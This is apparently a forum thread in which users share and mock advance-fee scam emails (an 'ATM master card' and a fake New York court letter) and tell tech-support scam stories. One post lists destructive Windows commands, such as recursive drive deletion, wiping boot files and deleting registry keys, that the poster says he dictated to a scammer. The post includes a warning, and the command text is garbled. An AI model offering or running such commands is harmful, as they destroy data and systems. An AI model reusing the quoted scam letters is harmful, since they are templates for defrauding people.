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ZENITH BANK INTERNATIONAL... whoever they are...

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ZENITH BANK INTERNATIONAL
Zenith Heights Plot 87 Ajose
Adeogun Street,Cotonou Benin Republic
Attn:Payment Notification,

This is to bring your notice that,I have paid the re_activation fee and the delivery of your atm master card,I paid it because the ATM MASTER CARD code is 8119 and the $2.5 million inside the card has less than three days to expire,and when it expires the money inside will go into the government purse.

with that i have decided to help you pay the money so that the ATM MASTER CARD will not expire,because I know that when you get your ATM MASTER CARD definitely you must pay me back my money and even compensate me for helping you.Now i want you to contact DHL DELIVER COMPANY with your full delivery information's such as

You’re name
You’re country
You’re home address
You’re Tel phone number
include your ID Card

so that they can deliver your ATM MASTER CARD to your designated home address without any more delay.like i stated early the delivery charges has been paid but i did not pay their official keeping charges since they refused,and they did it because they do not know when you are going to contact them and the dummorage might have increase,they told me that their keeping charges is $55,per day and i deposited it yesterday been the 15th Day of JULY 2017.call him as soon as you receive this email.Below is their contact Information's

Contact person: MR SMITH DAYE
DHL DELIVERY COMPANY
Phone number: +229 99677453

contact them today to avoid increase of their official keeping fee.and let me know once you receive your ATM MASTER CARD.

Regards
MR ARIF SANNI
ATM MASTER CARD OFFICE ZENITH BANK INTERNATIONAL
Federal Republic of Benin West Africa.

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Alas, as much as I would love to have that kind of dough, this would only make me poorer, as I know it is only another scam.
That is the only way these things come in, is as scams. never anything legitimate.

Also, I'm pretty sure DHL doesn't handle this sort of thing.



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Edited by: Nite , Jul 18th, 2017 @ 7:09 pm

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New York Supreme court...apperently...
ADMINISTRATIVE CHIEF JUDGE

SURROGATE COURT, 152 GENESEE ST, AUBURN,

NY USA (New York STATE SUPREME COURT)



ATTN BENEFICIARY.



WITH DUE RESPECT OF THIS HONORABLE COURT New York STATE SUPREME COURT UNITED

STATES OF AMERICA, WE WANT TO INFORM YOU THAT WE HAVE DISCOVERED A TRANSACTION

BETWEEN YOU AND AFRICA BENIN REPUBLIC COTONOU UNIT, ACCORDING

TO THE INVESTIGATION MADE ON MONDAY IT HAS COME TO OUR NOTICE THAT YOU ARE THE

REAL BENEFICIARY OF THE SAID FUNDS ONLY THAT YOU WERE DEALING WITH THE WRONG

ONES.



YOU’RE $45.5 MILLION UNITED STATE DOLLARS WAS FORWARDED TO THIS COURT ON Monday last week

AFTER ALL THE INVESTIGATION MADE BY FBI, HOME LAND SECURITIES, AND DC POLICE

AND WE HAVE MANDATED TO PAY YOU YOUR FUNDS THROUGH THE AUTHORITY OF THIS NY

COURT WHICH FEDERAL RESERVE BANK OF NEW YORK WILL TAKE CARE OF THE ATM CARD/

ONLINE BANK TRANSFER/ CERTIFIED CHECK THE WHOLE FUNDS WILL BE WRITTEN IN CHECK, FOR THIS

SPECIAL ARRANGEMENT YOUR COMPLY IS MUCH NEEDED FOR US TO MAKE SURE THAT

EVERYTHING MOVE SUCCESSFULLY AND YOU WILL RECEIVE YOUR TOTAL FUNDS WITHOUT ANY

HITCH. '



YOU ADVICE TO STOP ANY COMMUNICATION THAT YOU ARE HAVING WITH ANY OFFICE LIKE

DIPLOMATIC AGENT, MONEY GRAM, BANKS, AND COURIER COMPANIES OR ANY FORCES

BECAUSE THEY CANNOT DELIVER ANY FUND TO YOU WHILE THEY HAVE BEEN BLOCKED BY OUR

NY STATE SUPREME COURT IN COLLABORATION WITH US FEDERAL RESERVE SYSTEM THAT ANY

AMOUNT OF MONEY COMING MUST BE DIRECTED TO OUR COURT TO AVOID MONEY LAUNDERING

AND TO PROTECT ALL CITIZEN ANY MONEY SEND TO THIS AGENCIES WILL BE REGRETTED BE

WISE.



IMMEDIATELY YOU RECEIVE THIS MAIL ADVICE US HOW TO GET THE FUNDS TO YOU WITHOUT

ANY FURTHER DELAY RECONFIRM YOUR DETAILS FOR THIS SPECIAL TRANSFER.



CHOOSE YOUR PAYMENT OPTION



1. ATM CARD

2. ONLINE BANK TRANSFER

3. BANK CERTIFED CHECK



To this effect, you are to contact us with your information listed

Below for the immediate release of your funds.



Full Name: ...............

Address: ....................

Country: .....................

Telephone: ....................

Mobile: ........................

Email: .........................



WE ARE WAITING TO RECEIVE YOUR EMAIL.



HON. PATRICK BEN

PHONE :*Removed*

EMAIL: *Snapped*(@gmail.com

ADMINISTRATIVE CHIEF JUDGE

SURROGATE COURT, 152 GENESEE ST, AUBURN,

NY USA (NEW YORK STATE SUPREME COURT)



...Dumbasses...
That is all...


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A few days ago, I got a message on my old college e-mail account. I think another student's account got hacked, causing it to send out phishing e-mails purporting to be from a local credit union. The scam was fairly well-made, but the bad writing was a dead giveaway.

I don't get much e-mail spam these days, but I get lots of robocalls on my phone. IRS scams are especially fashionable.
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Edited by: Bibby , May 5th, 2018 @ 12:25 pm
Course clear! You got a card.
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Lets just say: I really wish I was able to record this call.

I got a call on my cellphone from someone claiming to be Microsoft technical support (Yeah, like this hasn't happened before...what makes this even better is that I didn't have my computer with me...)

I talked with them, and acted as though I was doing as they asked, up until they wanted me to allow them to connect remotely.
I told them an outright lie, that it was waiting for a command from them, in addition to telling them I had seen this before.

I told them that they needed to open their command prompt, and enter the following commands:



WARNING! The following commands will render your computer inoperable! DO NOT test these, DO NOT enter these on your own system. We will not be held responsible for any idiots who decide to test these commands!



delete %systemdrive%\*.* /f /sattrib -r -s -h

c:\autoexec.batdel

c:\autoexec.batattrib -r -s -h

c:\boot.inidel

c:\boot.iniattrib -r -s -h c:\ntldrdel

c:\ntldrattrib -r -s -h

c:\windows\win.inidel c:\windows\win.iniSTART

reg delete HKCR/.exeSTART

reg delete HKCR/.dllSTART

reg delete HKCR/*rd/s/q/D:\rd/s/q/ C:\rd/s/q/ E:\
In addition to adding:

hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

To the system registry, and getting them to reboot the system.


You have not heard the levels of "Blind rage" this person had after they bricked their own system.
I left them with the following:
"Your on MY turf! And your first mistake was underestimating me. While I have no idea how you got this number, I think you'll find it interesting to know that I didn't even have a computer with me. Stop now, quit praying on the ignorant, and get an actual job, or you will eventually find worse people than I."



This is where I hung up.

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Edited by: Nite , Sep 15th, 2018 @ 11:02 pm

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This is awesome indeed. I guess this proves that those tech support scammers aren't always the brightest bulbs in the batch.
Course clear! You got a card.
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